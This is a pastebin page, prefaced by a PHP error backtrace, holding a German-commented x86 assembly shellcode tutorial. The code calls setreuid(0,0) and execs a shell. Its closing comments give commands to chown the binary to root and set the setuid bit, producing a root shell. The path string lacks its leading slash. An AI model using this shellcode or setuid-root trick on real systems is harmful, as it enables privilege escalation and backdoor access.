A PHP Error was encountered

Severity: 8192

Message: Function create_function() is deprecated

Filename: geshi/geshi.php

Line Number: 4698

Backtrace:

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4698
Function: _error_handler

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 4621
Function: _optimize_regexp_list_tokens_to_string

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 1655
Function: optimize_regexp_list

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2029
Function: optimize_keyword_group

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/geshi/geshi.php
Line: 2168
Function: build_parse_cache

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/libraries/Process.php
Line: 45
Function: parse_code

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/models/Pastes.php
Line: 517
Function: syntax

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/application/controllers/Main.php
Line: 693
Function: getPaste

File: /home/httpd/vhosts/scratchbook.ch/geopaste.scratchbook.ch/index.php
Line: 315
Function: require_once

shell.asm - Stikked
From Queen Iguana, 13 Years ago, written in x86 Assembler.
Embed
  1. ; tutorial für shellcodes http://wiki.hackerboard.de/index.php/Shellcode_(Exploit)
  2.  
  3.  
  4. ; unix syscalls sind zu finden unter /usr/include/asm/unistd.h
  5.  
  6.  
  7. section .data
  8.  
  9. filepath db     "bin/shXAAAABBBB"       ;der sting
  10.  
  11. section .text
  12.  
  13. global _start                           ;einsprung punkt dürs DLF linking
  14.  
  15.  
  16. _start:
  17.  
  18. ;zu erst Syscall 70 -> setreuid(uid_t ruid,uid_t uid)
  19.  
  20. mov eax, 70     ; schreibt die 70 in das regiser wo der syscall erwartet wird
  21. mov ebx, 0      ; erste ruid parameter
  22. mov ecx, 0      ; zweite ruid parameter
  23.  
  24.  
  25. int 0x80        ; initialize systemcall - sagt dem kernel das der systemcall ausgeführt werden soll
  26.  
  27. ; jetz alles vorbeiten für syscall 11 -> execve ( const char *finename, char *const argv[], char *const envp[])
  28.  
  29. mov eax, 0
  30. mov ebx, filepath       ; schreibt die adresse des strings nach ebx
  31. mov [ebx+7], al         ; schreibt das 0 aus AEX wobai X im Stuing liegt
  32. mov [ebx+8], ebx        ; schreibt die adresse des stings ab position 8 , das wären 4 mal A
  33. mov [ebx+12], eax       ; schreibt die adresse des stings ab position 12 , das wären 4 mal B
  34.  
  35. mov eax, 11             ; schreibt die 11 in das regiser wo der syscall erwartet wird
  36.  
  37. mov ecx, [ebx+8]        ;läd die adresse an der sich AAAA im sting befand nach ecx
  38. mov edx, [ebx+12]       ;läd die adresse an der sich BBBB im sting befand nach edx
  39.  
  40. int 0x80                ; wieder wie oben dem kernel sagen das der system call ausgeführt werden soll
  41.  
  42.  
  43. ; compiliren mit
  44. ; nasm -f elf shell.asm
  45. ; ld shell.o
  46. ; sudo chown root a.out
  47. ; sudo chmod +s   a.out
  48. ; ./a.out
  49.  

Replies to shell.asm rss

Title Name Language When
Re: shell.asm (patch) Denim Mockingbird diff 13 Years ago.
Re: shell.asm Small Bat asm 13 Years ago.